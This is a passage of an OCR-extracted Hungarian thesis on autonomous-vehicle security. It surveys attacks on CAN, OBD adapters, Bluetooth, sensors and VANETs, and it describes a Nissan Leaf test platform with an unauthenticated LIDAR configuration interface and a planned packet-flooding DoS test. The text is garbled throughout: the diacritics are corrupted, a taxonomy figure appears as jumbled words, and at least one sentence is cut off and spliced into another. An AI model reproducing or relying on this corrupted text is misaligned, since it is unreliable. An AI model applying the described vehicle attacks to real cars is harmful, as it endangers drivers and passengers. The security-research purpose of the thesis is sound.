kithatjak a halozatot. A CAN halozat elérésének legkbnnyebb modja az OBD 11
port. A miltban ehhez speciélis eszkozokre volt sziikség, azonban az emlitett Euro-
pai szabalyzatok hatasara a gyartok atalltak a Windows-alapt PC-k tamogatésara,
amihez OBD II interface adapter (PassThru), és speciélis szoftver sziikséges. Ezek
a PassThru adapterek altalaban tamogatjak a vezeték nélkiili csatlakozast, amihez
egy sajat WiFi halozatot hoznak létre. Ezen eszkozok megfertézésével a tamadok
az autojavitd miihelybe beérkezd Osszes jarmivet meg tudjak fertézni, és ehhez még
csak a folytonos jelenlétiik sem sziikséges [11].
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A spoofing tamadésok a rendszer elemei kozotti kommunikacios halozatokat
(CERT target) veszik célba, amihez sziikség van egy elemre, ami a halozat részét
képzi, és amit a tamado kontrollal. Ez lehet egy kompromittalt vezérls egység, vagy
az ODB II portba csatlakoztatott eszkdz. Az altalunk tesztelt autonéom platform
bizonyos szenzorai TCP/IP alapi Ethernet halozaton keresztiil szolgéaltatjak a be-
gytjtott adataikat. A CAN-hez hasonl6an ezen a halozaton is lehetséges az lizenetek
(packetek) lehallgatasa, kartékony packetek injektalasa, tovabba a DoS tamadasok-
nak is ki van téve. Habar az Ethernet halozatok a forgalomban 1évé autékban nem
elérhetdk, és igy ezek a tamadasi vektorok éles tdmadasban nem alkalmazhatok,
ennek ellenére az altalunk végzett teszteknél hasznosak lehetnek.

Az ECU-kon futé szoftverek a memoria hidnyaban nincsenek titkositva, ezéaltal az
kiolvashato és elemezhetd. Legtobb esetben ezek a szoftverek low-level nyelven (C)
irodtak, és azok elemzése tamadhato hibakat fedhet fel. Ezek a tamadasok azonban
csak informéacio gytjtésként, a tamadasok elGkészitéseként szolgdlnak, éles helyzet-
ben nem alkalmazhatoak, mivel tul sok id6t vesznek igénybe. ECU-k kiiktatasara
hasznalhato eszkoz az EMP generator, ami révid, nagy energiaju elektromégneses
hullamokkal siiti ki az aramkoroket. EMP generatorokat viszonylag olcsén lehet
épiteni, azonban ezek nem elég erdsek ahhoz, hogy egész autokat hatastalanitsanak
[Potential Cyberattack on Automated Vehicles].

3.3. Kiilvilag feldl érkezd tamadasok

Amig a 3.2-es pontban targyalt tamadésok mar a rendszer részeként keriilnek be-
vetésre, addig a kiviilrsl érkezék célja iranyulhat ennek a bels§ hozzaférésnek a
megszerzésére.

A fedélzeti halozatok tamadasanak egyik lehetséges modja a 2.5-as pontban tar-
gyalt OBD II interface. Szintén célpontok lehetnek azok az eszkdzok, amikkel maguk
a felhasznalok is kapcsolatban vannak, mint péld4aul a multimédia rendszer, ami tobb
vezeték nélkili jelet (AM/FM radio, Bluetooth) is fogad, CD olvasoval, USB beme-
netekkel is rendelkezik, és legtobbszor a CAN (vagy az erre a célra fejlesztett MOST)
halézatra is fel vannak csatlakozva. Stephen Checkoway es téarsai cikkiikben [11] tar-
gyaljak ezek sériilékenységeit. A kiillonb6z6 ECU-kon futo szoftverek visszafejtésével
kidolgoztak olyan modszereket, melyekkel az auto teljes kontrolljat at tudtak ven-
ni. Példaul a multimédia rendszer CD-lejatszo egységén sikeresen hajtottak végre
buffer overflow tamadéast, és létrehoztak olyan CD-ket, amelyeket eljatszva azok a
jarmid CAN halozatara publikaltak tizeneteket. Charlie Miller és Chris Valasek cik-
kitkben [19] a Bluetooth-t jelolték meg az egyik legnagyobb tamadasi vektorként a
modern autokban a protokoll komplexitasa miatt, rdadasul a Bluetooth manapsag
az autok alap felszereltségének részét képzik, igy a tdmadoknak megbizhato kaput
jelenthetnek a rendszerbe. Checkowaz és tarsai [11] egy jarmii Bluetooth stackjének
elemzésével sikeresen végrehajtottak RCE (Remote Code Execution) tamadast. Eh-
hez azonban sziikség van egy parositott Bluetooth eszkozre (telefon, tablet), amire
a szerzok két lehetséges kivitelezési utvonalat vazoltak fel: a konnyebbik megoldas
az aut6 tulajanak eszkozeinek a megfertGzése, hiszen az mér hivasok fogadasa, navi-
gacio, vagy zene lejatszasahoz mar jo eséllyel parositva van a jarmivel. A masodik
megoldés sajat eszkdz parositasa, aminek az els6 1épése a jarmii Bluetooth cimének
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(48 bites ID) a feltardsa. Minden parositas megerdsitéséhez a parositandd eszko-
zon meg kell adni a jarmi fedélzeti kijelzGjén feltiintetett, négy random szambol
allo PIN kodot. A cikkben tesztelt jarmd Bluetooth modulja azonban szoftveresen
kezdeményezett parositasi kérelmekre is vélaszol, raadasul ez a folyamat teljesen a
hattérben zajlik, a tulaj nem értesiil a parositas kezdeményezésérdl, létrejottérdl.
A tamadéas szoftveres jellegébdl adodik, hogy az elvart PIN kod ismerete nem fon-
tos, azt ki lehet brute force-olni. A modszer nehézségét azonban az jelenti, hogy
a Bluetooth stack vélaszidejébdl adodoan csak 8-9 probalkozast lehet végrehajtani
percenként, ami atlagosan autonként 10 6rat jelent, ami alatt a jarminek miikodnie
kell, és viszonylag kozel kell tartézkodni hozza.

Az autonom rendszerek egyik nagy kihivasa a kiilonb6z6 szenzorok altal gyjtott
adatok fuzidja, ami egyfajta sztir6ként is bevethets a bejovs kartékony adatokkal
szemben, azonban ehhez megfelel§ szintd redundancia sziikséges. Amennyiben az
adatok csak két, vagy annal kevesebb forrasboél szarmaznak, és a forrasok eltérd ér-
tékeket kozolnek, a faziot végrehajté egység nem képes eldonteni, melyik a valodi,
és melyik a hamis adat. Tehat az efféle biztonsagi sztiréshez legalabb harom eltérd
adatforras, és azok tobbségének a validitasa (nem a tamado vezérli, valos adatokat
prezental) sziikséges. V2X technologiaval felszerelt autok a redundéns adatokat a
kozlekedésben résztvevs tobbi jarmivektdl is fogadhatnak, habar azokat sosem lehet
olyan megbizhatd forrdsnak tekinteni, mint a fedélzeti szenzorokat, mivel a felado
tobb LIDAR, és GPS modul is talalhat6, azok azonban kiilénb6zé funkcidok miatt
keriiltek fel a jarmitre, példaul a LIDAR-ok esetében mindegyik az autot korbevevs
térnek kiillonbozd szeletét fedik le; az autd el6tt és mellett érzékelnek. A GPS esetén
adott a redundancia, azonban platform csak két modullal van felszerelve, ami a pon-
tatlansagok kisziirésére alkalmas, a tdmadasok hamis értékeire nem. A redundéns
szenzorrendszer az autogyartoknak - és kovetkezetesen a vasarloknak is - nagyobb
koltségeket jelentenek, ezaltal ezt a megoldast nem is alkalmazzak. A fedélzeti szen-
zorok ellen gyakran bevetett tdmadas a jamming. Ehhez a szenzorokhoz hasonl6
eszkozzel, folytonosan iizenetek kiildésével, vagy kommunikiciohoz hasznalt médi-
um blokkolaséval gatoljak az adatok kiildését, fogadasat. Szintén elterjedt modszer
még a spoofing, ahol a szenzorok a valéshoz hasonld, de a tamado altal generalt
informaciokat fogadnak. A két technika gyakran egyiitt alkalmazando6, mint példaul
az autok tavoli kinyitasara hasznalt roll jam tamadés. A tesz platform valamennyi
szenzoran végre lehet hajtani legalabb az egyik emlitett tamadast. Jonathan Petit
és tarsa [21] magas sikerességi valoszintiséget tarsit a GPS szenzorokat éré jamming,
illetve spoofing tdmadéasoknak. Jamming eszkozok mar 20 USD érték koriil is kap-
hatoak, amikkel az autotolvajok hatastalanitani tudjak a lopasvéds rendszereket.
A jamming tdmadasok elleni védekezés nehéz feladat, hiszen ezeknél a szenzorok-
nal a kornyezeti akadalyok miatt (alagut) megszokott a jel elvesztése. A piacon
szofisztikaltabb, spoofing-ra is képes eszkozoket is lehet kapni, ezek azonban joval
dragabbak. A kornyezet észlelésére hasznalt kamerakat (RGB, LIDAR) nagyere;jii
infravords fénnyel konnyel el lehet vakitani. Ilyen tamadasok ellen az optikai fény-
szlrd sem véd, egy katonai megoldas valtakozo6 szind laserekkel jatszotta ki azokat.
A RADAR szenzorok ellen egy lehetséges tdmadas keretein beliil hamis réadiojele-
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ket vetithetiink a jarmid iranyaba, amit aztdn az valos akadélyokként észlel, vagy
folytonos sugarzés esetén a szenzor blokkolédsa is elérhets. Erre hasznalhato eszkoz
a DRFM ismétls (Digital Radio Frequency Memory), ami a beérkezs radar jeleket
eltarolja, melyek igény szerint djra lejatszhatok. A jarmi szenzorai az utasok in-
formacioinak megszerzésére is hasznalhatoak. Manapsig az autogyartok kotelesek
jarmiiveiket TPMS (Tire Pressure Monitoring System) érzékelskkel ellatni. Kuta-
toknak sikeriil ezen szenzorok &altal sugarzott keréknyomas adatokbol rekonstrualni
a jarmd altal megtett utvonalat [14].

Az ITS (Intelligent Transport System) kulcsfontossagt elemei a jarmtvekbdl, és
az infrastruktura elemeibdl felépiils halozatok, mas néven VANET-ek (Vehicular Ad-
Hoc Network). A jarmiivek és az ut menti eszkézok kommunikaciojanak a feladata a
kozlekedéssel kapcsolatos - koztiik biztonsag-kritikus - informéaciok megosztéasa, igy
ennek a halozatnak a kontrollja kulcsfontossagu tényezé a forgalom iranyitasahoz, és
az utasok védelméhez. A [23] cikk szerint a sybil tdmadas az egyik legveszélyesebb
a VENET-ek szamara. A tamadas lényege, hogy egy node (jarmt) tobb identitast
szimulal, amit a halozat kedv szerinti alakitasidra hasznal, példaul mas autoék mani-
pulalasara, 6t korbevevs szellem-autokkal, hogy az iitkozés elkeriilése végett az masik
utvonalra térjen. A jarmiivek és RSU-k kozotti informaciocserét DoS tamadéasokkal
lehet blokkolni. Ezaltal az autoném rendszerek fontos inputoktol esnek el, aminek
stlyos kovetkezményei is lehetnek. A MANET-ek (Mobile Ad-Hoc Network) ellen
kifejlesztett JellyFish egyik példdja a tamadasnak, ami jol atiiltethets a jarmiivek
vilagédba. A JellyFish a routing protokollhoz alkalmazkodik - ezaltal nehezebb a de-
tektalasa -, és a packetek fogadasa, tovabbitasa kozbe iktatott késleltetéssel zavarja
a halozat miikodését. A DoS tamadasnak tobb fajtdja is alkalmazhato a VANET-ek
ellen, példaul: flooding, jamming. A blackhole tdmadas a DoS tamadashoz hason-
loan az lizenetek atvitelét probalja megakadalyozni a halozat alakitasaval. Ehhez
a routing protokollt hasznalja ki, és az iizenetek cimzettjeihez a legrévidebb utként
tiinteti fel magat, hogy a kornyezé jarmiivek rajta keresztiil kiildjék packetjeiket,
amiket aztan 6 elvet. Az irodalomkutatas keretei kozott feltartuk a jarmiivek kii-
16nb6z6 rendszereit biztonsagi szempontbol, a felsorolt technikdk azonban csak egy
részhalmaza a lehetséges tamadasi vektoroknak.

3.4. Elektromos jarmitivekkel kapcsolatos taAmadasok

Az elektromos és robbanémotoros jarmiiveket érinté biztonsagi vektorok kozott nagy
az atfedés, azonban az elektromos autokban 1j biztonsagkritikus elemek is megjelen-
tek. Egy kritikus pontjuk az akkumulator, melyek nagy fesziiltégekkel és aramerdsé-
gekkel operalnak, és a jelenleg elterjedt Litium Ion akkumulator cellék fizikai sériilés,
vagy nem megfelel§ toltottségi szint elérése esetén fel is gytlhatnak, robbanhatnak.
Az akkumulatorokat egy tgynevezett BMS (Battery Management System) vezérli,
ami feliigyeli és szabélyozza a fogyasztéas, toltés folyamatat, valamint egyéb biz-
tonsagi funckiokat is ellat, példaul monitorozza a hémérsékletet. Az akkumlatorok
idével degradalodnak és cserét igényelnek, viszont a mobiltelefonokkal ellentétben a
hamisitott akkumulator nagyobb veszélyt jelent.

Az akkumulatorok megjelenésével a tolté nyilasok is megjelentek. Eleinte ezek
csak energiadtvitelre voltak alkalmasak, azonban idével kialakultak fejlettebb pro-
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tokollok a BMS és a toltGalloméas kozotti kommunikaciora. A jovGben ezeket a
funkciokat multimédia streamelés, vagy firmware update is kiegészitheti, tehat egy
rosszul implementalt tolt6 csatlakozo az ODB porthoz hasonlé veszélyeket rejthet,
amihez raadasul nem is kell a tamadonak az autd utasterébe jutnia.

Elektromos jarmivek esetén a drive-by-wire funckciok biztonsigéra sokkal na-
gyobb figyelmet kell forditani a konvencionalis meghajtassal rendelkezékkel szemben,
mivel a limitalt hatotav miatt azok jelentés mértékben hagyatkoznak a regenerativ
fékezésre, tehat mechanikai kapcsolat a fékpedal és fékpofik kozott nem lehetsé-
ges, azokat teljes mértékben elektronikusan kell vezérelni. A drive-by-wire ECU-k
biztonsagara ebbdl a szempontbol nagyobb figyelmet kell forditani.
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4. TAMADASI VEKTOROK KATEGORIZALASA
4.1. CERT taxonoémia

Szamitogépes és halozati incidensek csoportositasara, és megértésére alkottak meg
a CERT rendszertant [16]. Ahogy az a 9. abran is lathato, a taxonomia legkisebb
egysége az event. Altalanossagban elmondhatd, hogy egy event valamilyen rendszer
allapotanak a megvaltozasat jelenti. Kiberbiztonsag szemszogébdl nézve ez bizo-
nyos cselekedeteket (action) jelent, melyek célpontok (target) allapotat kivanjak
megvaltoztatni. Példaul: actionnek tekintheté egy rendszerbe torténd bejelentke-
zés, melynek a célpontja a felhasznaloi fiok. Fontos megjegyezni, hogy az event
nem rendelkezik a tamadés sikerességérsl. A CERT taxonomia a tamadésokat 6t
olyan logikai lépésre bontja, melyekkel a tamadé jogtalan hozzéférést szerezhet egy
rendszeren beliil. Az eventek a rendszer sériilékenységeinek (vulnerability) kihasz-
nalasaval jonnek létre, melyek kivitelezéséhez a tamado eszkozoket (tool) hasznal.
Egyes tamadasok jol megkiilonboztethetSk egymastol azok kivitelezdje (attacker),
a tamadas karakterisztikai, id6zitései, vagy elérni kivant céljai (objective) alapjan.
Az ilyen, tamadéasokat logikai alapon megkiilonboztets csoportokat a rendszertan
incidenseknek nevezi.

incident

attack(s)
event
Attackers Tool Vulnerability Action Target Unauthorized Objectives
Result
Hackers Physical Design Probe Account Increased Challenge,

Attack Access Status, Thrill
Disclosure of Political
Information | ™| Gain
User Corruption of Financial

Terrorists Configuration Flood Data ~_3
Command e Information Gain

Spies  |mp | [oformation | gy ementation |mh|  Scan  |mp| Process | mp

Exchange

Corporate Seript or . Denial of
j Authenticate Component
Raiders Program

' Damage
Service &
Professional Autonomeous Theft of

“riminals Agent Bypass Computer Resources

Vandals Toolkit Spoof Network

Distributed
Voyeurs Tool Read Internetwork
’ ‘ol

Data Tap Copy
Steal
Modify

Delete

9. abra. CERT taxonomia tamadési incidensek kategorizalasara [16]

4.2. Failure Mode and Effect Analysis

Jonathan Petit ¢s tarsa [21] Failure Mode and Effect Analysis modszerhez hasonlo
megoldéast alkalmaztak a tamadésok kategorizalaséra, melynek lényege, hogy egy
termék, vagy eljaras potencialis meghibasodési lehetségei, azok kdvetkezményei és
tulajdonsagai beazonositasra keriiljenek. Maga a tamadas modszerén kiviil figye-
lembe vették a tamadés kivitelezhetGségét, ami a tdmado képességein, és tudasan
kiviil a rendelkezésére &llo forrasokat (sziikséges eszkozok elérhetGsége) is magaba
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foglalja. Ezen kiviil a fizikai hozzaférés sziikségességét, a tamadas észlelhet&ségét
(utas és rendszer altal), a tamadas az autora jelentd kovetkezményeit, a létrehozott
veszélyeket (kozlekedési baleset), és a tamadas sikerességének a valoszintiségét is fi-
gyelembe vették, ami példaul egy konnyen kivitelezhets, de konnyen észre is vehetd
tamadasoknél alacsony.

4.3. CIA triad

A CIA triad egy kiberbiztonsidgi modell, melynek segitségével rendszerekben ta-
madasi vektorok fedezhetdk fel, valamint ezekre megoldast is nytjtanak. A beti-
sz6 elemei definialjék az auditalt rendszerek azon tulajdonsagait, melyeknek hia-
nya biztonsagi kockazatot jelent. Titoktartas (confidentiality) az adatok védelmével
foglalkozik, tehat a hozzaférés megtagadasaval, vagy engedélyezésével autentikacios
metodusok alkalmazéséaval. Titoktartas sokféle képpen tamadhato, példaul a jogo-
sultsdg megszerzésével, vagy az adatok lehallgatasaval. Ez utobbi ellen kriptografiai
eljarasok alkalmazéasa nyujthat védelmet, azonban nem minden esetben a techonlo-
gidk hianya okozza a sériikenységet, hanem emberi hibabol adédnak (konfiguracios
hibak).

Az integritas (integrity) az adatok megbizhatosagara, pontossagara, eredeti al-
lapotaiknak megérzésére torekszik. Fontos, hogy feldolgozés, kozvetités alatt ne
sériiljon az adat, és akaratlan modositasokat ne lehessen végrehajtani. Ezt hozzafé-
rések kezelésével, és rendszeres backupok készitésével lehet biztositani.

A harmadik kévetelmény a rendelkezésre allas (availability), ami alapjan az ada-
toknak mindig elérhetének kell lenniiik az arra jogosult felek szamara. Ezt a hard-
ware és szoftver komponensek karbantartasaval lehet elérni [13].

20



5. SERULEKENYSEGI TESZTELES

Habar a V2X kommunikacio, és a jarmiveket érg kiils6 tamadasok fontos részét kép-
zik az autonoém jarmiivek biztonsaganak, a szakdolgozat a tovabbiakban a jarmtivek
bels6 rendszereit kivanja vizsgélni, tehat feltételezziik, hogy mar hozzaférést szerez-
tiink a jarmd fedélzeti rendszeréhez. Az autoném platform tesztelését a fedélzeti
szenzorok zavarésa feldl kozelitettiik meg.

5.1. Tesztelés folyamata

A sériilékenységi tesztelés els6 1épéseként egy el6késziileti elemzést hajtunk végre,
aminek a célja potencialis sériilékenységek feltdrasa. Sajnos a miikodsképes auto-
ném platform Gyérben, a Széchenyi Istvan Egyetem birtokdban van, igy azon nem
tudjuk elvégezni a vizsgélatot, csak a biztositott dokumentaciok alapjan elemezziik
azt. Egy, a gyorivel megegyezs, masodik platform létrehozésa is tervben van, habér
ez még nem késziilt el, az egyes elemeit biztositottak szamunkra, amiket be tudtunk
vonni az elemzésbe, és késGbb a teszt kornyezetbe is. A feltart sériilékenységek tuda-
taban képesek leszlink megtervezni egy tesztelési kornyezetet, aminek tamadasaval
igazoljuk (vagy megcafoljuk) az elemzés soran alkotott hipotézisiinket. Tovabba,
a kijatszhato tamadasi vektorok ismeretéban tovabbi eszkoz, akar sajat fejlesztést
malware sziikségletek is korvonalazodnak. Végiil, amennyiben sikeriil kijatszani a
rendszer biztonsagi hibait, javaslatokat tesziink azok orvoslésara.

5.2. Referencia platform bemutatasa

A teszteléshez hasznalt platformnak egy Nissan Leaf elektrovoltaikus személygép-
jarmid az alapja. Az aut6 a napjainkban az utakat jaré jarmtivekkel szemben nem
egy Onallo entités, szenzorok segitségével képes feltérképezni a kornyezetét, radios
kommunikacioval képes mas hasonld eszkozokkel (jarmiivekkel, infrastruktaréaval)
egyiittmiikodni, és a fedélzeti szamitdogépein a kornyezetrdl begytjtott adatok alap-
jan prediktiv kozlekedési stratégiakat alakit ki.

A jarmivon talalhato gyari alkatrészek - szenzorok, aktuatorok, belsé diagnoszti-
kai rendszer - sajat CAN-buszon kommunikéilnak. Tovabba a jarmtire felszerelt kiilsé
érzékelsk jelei (lokacios- és navigacios eszkozok, LIDAR-ok, RADAR, IMU-k, és ka-
merak) a bels§ CAN-busztol fiiggetlen, sajat adatatviteli halozaton (Ethernet, soros
kapcsolat, masodlagos CAN-busz) kommunikalnak, ezek feldolgozasa kozvetleniil a
koézponti jarmiiranyitoé rendszerben torténik.
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10. abra. Az autoném platform rendszerének felépitése

A fedélzeti rendszer tovabbi lényeges kiegészitése egy I'TS V2X kommunikacios
alrendszer, mely lehet6vé teszi a forgalomban résztvevs jarmiivek egymas, az infra-
struktira (példaul: jelzélampa), és a gyalogosok eszkozei kozotti adatéatvitelt. Ez
a V2X kommunikaci6é a jarmi irdnyitasa és prediktiv palyatervezés szempontjabol
lényeges segitség, mivel igy a fedélzeti szenzorok altal gytjtott adatok kiegésziilnek
mas jarmivek &ltal gytjtottekkel, ami lehetévé teszi példaul az ttvonalak adap-
tiv Gjratervezését, ha a jelenlegi tervezett haladési trajektoria mentén baleset, vagy
egyéb ok miatt dugo alakul ki. Az érzékels és kommunikécios rendszereken til egy
tjraprogramozhato, konfiguralhato6 HMI (Human Machine Interface) is talalhato,
mely a jarmd teljes fedélzeti rendszerén mért jelek és adatok megjelenitését szolgal-
ja. Ez a rendszer igény esetén kiegészithets tovabbi informécios és utasszorakoztatod
(infotainment) rendszerrel.

5.2.1. A jarmi halézati felosztasa

A jarmiiveket 0sszekotd halozatok - hasonléan egy otthoni héldzathoz - két részre
oszthatok: egyrészt bels6 halozatra, amin a jarmi belsé alkatrészei kommunikalnak,
illetve kiilvilagra, ahol a kornyezettel folyik a kommunikéacio (V2X, 5G).

A Leaf képes a kornyezetével is kommunikalni. Erre a célra lett felszerelve egy
CohdaWireless MK5 OBU (On Board Unit) V2X DSRC radiokommunikacios egység,
melyet egy RSU (Roadside Unit) egészit ki. A DSRC egy IEEE 802.11 szabvanynak
megfelel6 kommunikécios protokoll, mely az OSI modell fizikai rétegében helyezkedik
el. Ez az eszkoz hatarfeliiletet képez a kiilvilag és a jarmi fedélzeti rendszere kozott,
igy a biztonsagban betoltott szerepe is nagy.
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11. abra. CohdaWireless V2X egység

A jarmi komponensei kozott az informacidocsere CAN-buszokon torténik. Az
autd gyari szenzorait, aktuatorait, biztonsagi rendszerét, és az alacsonyszintd jar-
mdiranyitasi rendszert a Leaf gyari CAN busza koti Ossze. A masodlagos CAN
halozat ettdl elkiiloniilve miikodik, és az utdlag felszerelt autoném platform elemei
hasznaljak. A két halozat kozott 1étezik adatcsere, a bus gateway szerepet pedig
a National Instruments cRIO9039 kontroller latja el. A jarmiivon elhelyezkeds LI-
DAR szenzorok kommunikacidja végett kialakitésra keriilt egy fedélzeti Ethernet
halozat is, ami két virtualis alhalozatra lett bontva. A virtualis halézatokra azért
volt sziikség, mivel a LIDAR-okbdl érkezd adatmennyiség egyéb eszkozok szamara
nem hagyott volna maradék savszélességet. A felsGszintd iranyité rendszer USB
interface-en is képes jeleket fogadni, azonban ezen modszerrel csak a Zed kamera
van bekotve.

5.2.2. Fedélzeti alrendszerek felosztasa

A Nissan Leaf fedélzetén az alacsonyszintd jarmiiranyitast egy National Instuments
cRIO real-time adatfeldolgoz6 FPGA alaptu egység végzi. Ez a vezérls fogadja a
jarmi irdnyitasaban résztvevd jeleket (féknyomas, gazpedal, kormanykerék nyoma-
ték) a jarmi gyari CAN buszan, és az iranyitashoz szabalyzokoroket (kerékszog,
gyorsulés) is ez a hardver futtatja. Tovabba a jarmi méasodlagos CAN buszéval is
kommunikal, oda a magasabb szintd jarmdiranyitasi rendszerek szamara publikal
adatokat, illetve az autonéom miikodéshez hasznalt jeleket is onnan kapja.

A NI cRIO az elvart gyorsulasi, és kanyarodasi értékeket - melyekbdl aztan a gaz,
fék, és kerékszog értékeket generalja - a dSpace MAB II Real-Time kontrollerbél ér-
keznek. A MAB II egy autodipari gyartok altal kozkedvelten alkalmazott ECU, mely
egy prototipusok gyartésara alkalmas real-time adatfeldolgozo fedélzeti egység. A
valos idejd vezérls jelek mellett - megfelel6 hardveres kiegészitésekkel - képes szen-
zoradatok (IMU-k, LIDAR-ok, V2X) kezelésére is. A MAB II az autoném platform
agya, ide érkeznek be a szenzoradatok, melyek feldolgozasaval jon létre az elvért
gyorsulasi, és kanyarodasi jel. Bizonyos feladatok elvégzésére, ahol nem fontos az
adatok real-time feldolgozasa, egy ipari pc lett beszerelve a jarmtbe. Ide érkeznek
be a kornyezetérzékels alrendszer adatai utofeldolgozéasra (és logolasra), melyeket
aztan a MAB II a palyatervezésben fel tud hasznélni.
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12. abra. National Instuments cRIO, dSpace MAB II

Az autoném jarmivek navigalasaban fontos szerepet tolt be a gépi latéas, a kor-
nyezetben talalhaté objektumok felismerésére, megkiilonboztetésére. A készitett ké-
pek alapjan felismerhetSk az utburkolati jelek, kozlekedési lampak, tablak, és egyéb
relevans objektumok (jarmiivek, gyalogosok, domborzat). A képek feldolgozésa a
képfeldolgozo alrendszeren, neurélis halok segitségével torténik. A platform odo-
metrikus képfeldolgozashoz egy StereoLabs Zed sztere6 kameraval lett ellatva, ami
USB 3.0 interface-szel csatlakozik a képfeldolgozoé alrendszerbe.

»)

13. abra. StereoLabs Zed kamera

A kornyezetérzékel alrendszer tovabbi fontos része még az autora szerelt LIDAR
szenzorok, ami a tervezett itvonal mentén t6bb irdnybol infravoros fénynyalabokkal
képes letapogatni a kornyezeti elemeket (atpadka, gyalogosok, jarmivek). A Leafen
5 darab LIDAR egység talalhato: kettd darab, egy tetére szerelt konzolon vizszintes
orientacioban helyezkedik el; ez a jarmi el6tt és mellett térképezi fel a kornyezetet.
A tetd konzolon tovabbi két egység talalhato az 1t sikjara 45 fokos elhelyezéssel
az utszélek, jardaszegélyek észlelésére. Az 6todik szenzor az autd elsé 1okharitoja
magassagaban helyezkedik el, és az emlitett szenzorok holttereit fedi le. Interface-ek
szempontjabol valamennyi LIDAR érzékels rendelkezik ipari Ethernet porttal.
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14. abra. Velodyne PUCK16, Ouster OS1 64, Slick LMS111

A platformon tovabba megtalalhatd egy Continental ASR-408 tipusi, autoéipari
mindsitésii RADAR szenzor. A RADAR technologia mikrohullamu radiohullamok
segitségével tapogatja le a kornyezetét, melyek segitségével meg lehet becsiilni ob-
jektumok méretét, haladasi iranyat és sebességét. A szenzor adatok CAN buszon
keresztiil jutnak el a képiadat feldolgozo egységhe.

15. abra. Continental ASR-408 RADAR szenzor

Pozicionélas és navigacioé szempontbol tobb szenzor is megtalalhato a jarmiivon:
egy darab SwiftNavigation Duro GPS/GNSS, és egy darab Novatel PwrPak7D-E2
GNSS+IND modul. Ez a redundancia biztositja a nagyobb hibatiirést, és a ponto-
sabb szenzorfiziot. Az utobbival USB, Ethernet és CAN buszon is lehet kommuni-
kalni, mig az el6bbi soros és Ethernet interface-ekkel rendelkezik.

25



16. abra. SwiftNavigation Duro, Novatel PwrPak 7D-E2

A képfeldolgozo algoritmusok a LIDAR, RADAR, és a Zed kamera adatainak
feldolgozéasa végett egy Nvidia Jetson AGX Xavier fejleszt6 platformon futnak. A
Jetson AGX Xavier egy Connecttech Rouge Carrier lappal lett bévitve, kiegészitve
annak ki- és bemeneti interface-eit. A kialakitott vezérl6 modul képes az emlitett
CAN, Ethernet, és USB kapcsolatok létrehozasara is. A Jetson Xavier Ubuntu
operacios rendszert futtat, melyen ROS, Autoware, és a SZTAKI altal fejlesztett
LIDAR pontfelh& feldolgozo szoftverek futnak.

17. abra. Nvidia Jetson AGX Xavier, Connecttech Rouge Carrier

A biztonséagi alrendszer a jarmd rendszere és az alsoszinti jarmtdiranyité rend-
szer kozé épiil be. Amennyiben a sof6ér kivanja iranyitani a jarmiivet, a biztonsagi
rendszer a kezelGszervek (fék- és gazpedal, kormanykerék) jeleit veszi figyelembe.
Autonom tizemmod esetén ezeket figyelmen kiviil hagyja, és az alacsonszinti jar-
mdiranyito egység felsl érkezs jeleket engedi at. Tovabbé képes még egy harmadik,
vészallj funkciora is, ami felmeriil6 hibék esetén biztonsigos éllapotba hozza az au-
tot.
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5.2.3. Feltart sériilékenységi pontok

A bemutatott platform elemei k6z6tt a kommunikacio titkositatlan (CERT vulnera-
bility), ebbdl kifolyolag nem csak az adatok kinyerése lehetséges, hanem a 3. pontban
targyalt sériilékenységeknek szinte kivétel nélkiil ki van szolgéltatva. Amennyiben a
tamado fizikai eszkoz beszerelésével, vagy egy fedélzeti ECU megfertézésével képes
sajat kod futtatasara, a jarmd bizonyos részeit, vagy akar az egész rendszert az ural-
ma ald vonhatja. Ebbdl a szempontbdl az autoném platform leggyengébb lancszeme
a masodlagos CAN hélozat, mivel azon az Osszes alegység adata athalad.

A VLP16-os LIDAR kiilonosképpen felkeltette a figyelmiinket a biztonségi hia-
nyossagaival. A szenzor egy webes interface segitségével, illetve curl utasitasokkal
is konfigurélhato, azonban ezt a mechanizmust semmi nem védi, vele egy halézaton
barki elérheti, és autentikacié nékiil igénybe veheti. A késtbbiekben ez a szenzor
fogja a teszt kornyezet alapjat képezni, részletesebben az 5.4.1 pontban lesz targyal-
va.

A platformon megtalalhatéo ECU-kat eréforrasok és beagyazott eszkozok tesztelé-
sének ismeretének hianyaban részleteiben nem elemeztiik, feketedobozként tekintve
rajuk, csak a ki- és bemeneteiket vizsgaltuk.

5.3. Tamadas célja

A tamadas célja az el6z6 pontban kifejtett sériilékenységek alatamasztésa: az el-
varttol eltérd miikodés elGidézése a rendszerben, DoS tamadas kivitelezésével. A
tdmadas célpontja egy LIDAR szenzor, és az altala gytijtott pontfelhst feldolgozo
objektimfelismers szoftvert 6sszekots halozat, melyet egy sajat fejlesztésti malware
(5.5 fejezet) - a szenzor altal kiildott csomagokkal megegyezs, de hamis adatokat tar-
talmazo - kartékony packetekkel elarasztva tesz megbizhatatlanna. Az emlitett tit-
kositas hianya, a komponenseket 6sszekotd TP alapt hdlozatok ellen bevethets széles
korben elterjet tamadasok, illetve az UDP alapt kommunikacié (a TCP handshake
kikertilésére sincs sziikség) idealis célponta teszi azt.

5.4. Létrehozott teszt kornyezet

A feltart sériilékenységek, és a megfogalmazott célok tudataban nekilattunk a teszt
kornyezet tervezésének és felépitésének, amiben a platform létrehozasaban kozremii-
kods SZTAKI-s kollégak segitettek benniinket.

A sériilékenységi teszteket egy hardware-in-the-loop kornyezetben hajtjuk vég-
re, melynek alapjat a fentebb emlitett Velodyne VLP16 tipust LIDAR szenzor, és
objektumdetektalo szoftver képzi, melyet egyben a tesztek validalasara is felhasznéa-
lunk. Habéar a jelen tesztben nem téltenek be jelentds szerepet, a kornyezet részét
képzi még egy dSapce MAB II vezérls egység, ami soros porton fogadja a jarmd
kornyezetében fellelt objektumokat, amiket felhasznalva - egyéb szenzoradatokkal
kombinalva - beavatkozo jeleket generél és kiild CAN halozaton, amiket az alacsony-
szint{ iranyitast végzé NI cRIO dolgoz fel. A teszt kornyezetiinkben azonban ezt
felvaltja egy jarmiiszimulacios szoftver, a CarSim. Mivel a CarSim-et futtatd szami-
togép nem képes CAN halozatokoz csatlakozni, sziikséges egy CAN-USB atalakito
(34). Ezek a kiegészitd elemek tovabbi tesztek elvégzését segitik els a jovEben.
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18. abra. Teszt kornyezet felépitése

5.4.1. LIDAR miik6dése

Az altalunk hasznalt, Velodyne Puck 16 LIDAR szenzor kérnyezetét henger alakban
képes letapogatni. Ehhez tizenhat darab infravords laser csatornat (laser modul és
detektor par) hasznal, melyek a vizszintes sikkal kiilonb6z6 szogeket zarnak be, és
fiiggtleges vonalban (annak 16 pontjan) képes tavolsdgot mérni. A laser oszlopot
